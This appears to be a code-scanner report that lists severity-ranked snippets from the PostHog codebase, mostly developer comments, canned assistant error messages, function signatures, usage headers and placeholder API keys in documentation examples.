| HIGH⚡ | …_recordings/sql/session_replay_event_migrations_sql.py | 356 | # MIGRATION: Add AI-generated columns for session tagging | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | products/feature_flags/backend/flag_analytics.py | 46 | # :NOTE: When making changes here, make sure you run test_no_interference_between_different_types_of_new_incoming_increm | COMMENT |
| LOW | products/feature_flags/backend/models/feature_flag.py | 114 | # When adding new fields, make sure to update organization_feature_flags.py::copy_flags | COMMENT |
| MEDIUM | …backend/templates/announce_a_new_feature_template.json | 771 | "html": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional //EN\" \"http://www.w3.o | CODE |
| LOW | products/web_analytics/backend/hogql_queries/ctes.py | 64 | # but means that when you use parse_select on it, you'll need to make sure you include the | STRING |
| MEDIUM | products/revenue_analytics/dags/exchange_rate.py | 20 | # NOTE: For local development, you can add this key to a `.env` file in the root of the project | COMMENT |
| LOW | products/notebooks/backend/models.py | 84 | # When adding a new foreign key, make sure to add the foreign key field and append field name | COMMENT |
| LOW | …/backend/lazy_computation/lazy_computation_executor.py | 647 | # Don't forget to add the last range | COMMENT |
| LOW | …src/scenes/settings/environment/replayTriggersLogic.ts | 224 | ${sanitizedUrl}, ${sanitizedUrl}/, ${sanitizedUrl}/page, etc. Don't forget to include https:// a | CODE |
| LOW | …src/scenes/settings/environment/replayTriggersLogic.ts | 241 | ${sanitizedUrl}, ${sanitizedUrl}/, ${sanitizedUrl}/page, etc. Don't forget to include https:// a | CODE |
| MEDIUM | …ntend/src/scenes/surveys/SurveyWidgetCustomization.tsx | 74 | info="Enter a class or ID selector for the feedback button, like .feedback-button or #fe | CODE |
| LOW | …omponents/IngestionControls/triggers/urlConfigLogic.ts | 92 | ${sanitizedUrl}, ${sanitizedUrl}/, ${sanitizedUrl}/page, etc. Don't forget to include https:// a | CODE |
| MEDIUM | ee/hogai/core/runner.py | 345 | content="I'm unable to process this request. The conversation may be too long. Please start a ne | CODE |
| MEDIUM | ee/hogai/core/runner.py | 369 | content="I'm unable to respond right now due to a temporary service issue. Please try again late | CODE |
| MEDIUM | ee/hogai/core/runner.py | 393 | content="I'm unable to respond right now due to a temporary service issue. Please try again late | CODE |
| MEDIUM | ee/hogai/core/runner.py | 417 | content="I'm unable to respond right now. Please try again later.", | CODE |
| MEDIUM | ee/hogai/core/test/test_runner.py | 125 | "I'm unable to process this request. The conversation may be too long. Please start a new conversation." | CODE |
| MEDIUM | ee/hogai/core/test/test_runner.py | 219 | "I'm unable to respond right now due to a temporary service issue. Please try again later.", | CODE |
| MEDIUM | ee/hogai/core/test/test_runner.py | 281 | "I'm unable to respond right now due to a temporary service issue. Please try again later.", | CODE |
| MEDIUM | ee/hogai/core/test/test_runner.py | 342 | "I'm unable to respond right now. Please try again later.", | CODE |
| MEDIUM | rust/cyclotron-node/examples/basic.js | 27 | // Most processes will only need to do one of these, but we can do both here for demonstration purposes | COMMENT |
| MEDIUM | .dagster_home/workspace.yaml | 4 | ## Most dags are not loaded in local dev, but you can add things if you believe they belong here. | COMMENT |
| LOW | posthog/urls.py | 550 | # NOTE: When adding paths here that should be public make sure to update ALWAYS_ALLOWED_ENDPOINTS in middleware.py | COMMENT |
| LOW | posthog/models/tagged_item.py | 38 | # When adding a new taggeditem-model relationship, make sure to add the foreign key field and append field name to | COMMENT |
| MEDIUM | posthog/models/exchange_rate/currencies.py | 8 | # If you need a currency that's not in this list, you can add it to the list by | COMMENT |
| LOW | …hogql/transforms/preaggregated_table_transformation.py | 434 | # Some of these could be supported in the future, if you add them, make sure you add some tests! | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | rust/capture-logs/README.md | 68 | -H "Authorization: Bearer your-api-key" \ | CODE |
| HIGH | rust/capture-logs/README.md | 79 | -H "Authorization: Bearer your-api-key" \ | CODE |
| HIGH | docs/onboarding/product-analytics/helicone.tsx | 39 | api_key="your-api-key-here", # Replace with your OpenAI API key | CODE |
| HIGH | docs/onboarding/ai-observability/vercel-ai-gateway.tsx | 152 | api_key="<your_api_key>", | CODE |
| HIGH | docs/onboarding/ai-observability/vercel-ai-gateway.tsx | 173 | apiKey: '<your_api_key>', | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …eling/backend/test/test_preview_freshness_schedules.py | 24 | CODE | |
| MEDIUM | …eling/backend/test/test_preview_freshness_schedules.py | 58 | CODE | |
| MEDIUM | …/data_modeling/backend/test/test_schedule_reconcile.py | 220 | CODE | |
| MEDIUM | …orts/sources/common/rest_source/tests/test_resource.py | 14 | CODE | |
| MEDIUM | ee/hogai/core/test/test_agent_executor.py | 530 | CODE | |
| MEDIUM | ee/hogai/core/test/test_runner.py | 29 | CODE | |
| MEDIUM | ee/hogai/core/test/test_runner.py | 763 | CODE | |
| MEDIUM | ee/hogai/stream/test/test_redis_stream.py | 356 | CODE | |
| MEDIUM | …thog/temporal/tests/data_modeling/test_run_workflow.py | 1788 | CODE | |
| MEDIUM | …thog/temporal/tests/data_modeling/test_run_workflow.py | 1851 | CODE | |
| MEDIUM | services/llm-gateway/tests/test_streaming_errors.py | 232 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | products/tasks/backend/logic/services/sandbox.py | 283 | def execute_task( | CODE |
| LOW | products/tasks/backend/logic/services/modal_sandbox.py | 857 | def execute_task( | CODE |
| LOW | products/tasks/backend/logic/services/docker_sandbox.py | 720 | def execute_task( | CODE |
| LOW | products/tasks/backend/facade/api.py | 3945 | def run_task( | CODE |
| LOW | …rts/pipelines/pipeline/test/test_delta_table_helper.py | 68 | def helper(): | CODE |
| LOW | frontend/src/lib/ui/Collapsible/Collapsible.stories.tsx | 87 | {`function handleRequest(req, res) { | CODE |
| LOW | ee/hogai/chat_agent/parallel_task_execution/nodes.py | 185 | async def execute_task(callable_func=task_callable, input_data=input_dict): | CODE |
| LOW⚡ | .semgrep/rules/security/data-imports-http-transport.py | 124 | def do_something() -> None: | CODE |
| LOW⚡ | .semgrep/rules/security/data-imports-grpc-transport.py | 88 | def do_something() -> None: | CODE |
| LOW | common/storybook/.storybook/public/mockServiceWorker.js | 121 | async function handleRequest(event, requestId, requestInterceptedAt) { | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 19 | def test_function( | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 74 | def test_function( | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 104 | def test_function( | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 134 | def test_function( | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 177 | def test_function( | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 207 | def test_function( | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 236 | def test_function( | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 266 | def test_function( | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 288 | def test_function( | CODE |
| LOW | posthog/clickhouse/client/test/test_tracing.py | 310 | def test_function( | CODE |
| LOW | posthog/slo/context.py | 18 | def helper() -> None: | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nodejs/src/logs/sampling-seed-services-curl.sh | 13 | # Usage: | COMMENT |
| LOW | tools/phrocs/install.sh | 4 | # Usage: | COMMENT |
| LOW | …/agent_platform/services/agents/scripts/smoke-local.sh | 7 | # Usage: | COMMENT |
| LOW | …ervices/agent-sandbox-host/scripts/smoke-test-image.sh | 18 | # Usage: | COMMENT |
| LOW | bin/send-dev-metrics.sh | 5 | # Usage: | COMMENT |
| LOW | livestream/docker-compose.integration.yml | 4 | # Usage: | COMMENT |
| LOW | common/storybook/update-storybook-timings.sh | 6 | # Usage: | COMMENT |
| LOW | .github/workflows/rust-smoke-test-build.yml | 7 | # Usage: | COMMENT |
| LOW | …b/scripts/verify-playwright-new-tests-and-snapshots.sh | 7 | # Usage: | COMMENT |
| LOW | .github/scripts/verify-storybook-new-stories.sh | 7 | # Usage: | COMMENT |
| LOW | .github/scripts/compare-ci-runners.py | 10 | # Usage: | COMMENT |
| LOW | posthog/management/commands/js_snippet_version.py | 25 | # Usage: | COMMENT |
| LOW | posthog/models/scoping/__init__.py | 14 | # Usage: | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …nd/hogql_queries/test/test_web_stats_pre_aggregated.py | 420 | # Note: PAGE and VIEWPORT breakdowns are excluded. I will add them back in later. | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | ee/tasks/subscriptions/slack_subscriptions.py | 130 | # TODO: Write error to subscription... | COMMENT |
| LOW | ee/api/rbac/test/test_access_control.py | 1358 | # TODO: Add tests to check that a dashboard can't be edited if the user doesn't have access | COMMENT |
| LOW | rust/batch-import-worker/src/parse/content/amplitude.rs | 1361 | // TODO: Add test for cache failure scenarios once we have better error handling | COMMENT |
| LOW | …es/insights/funnels/funnel_correlation_query_runner.py | 989 | # TODO: implement or remove | STRING |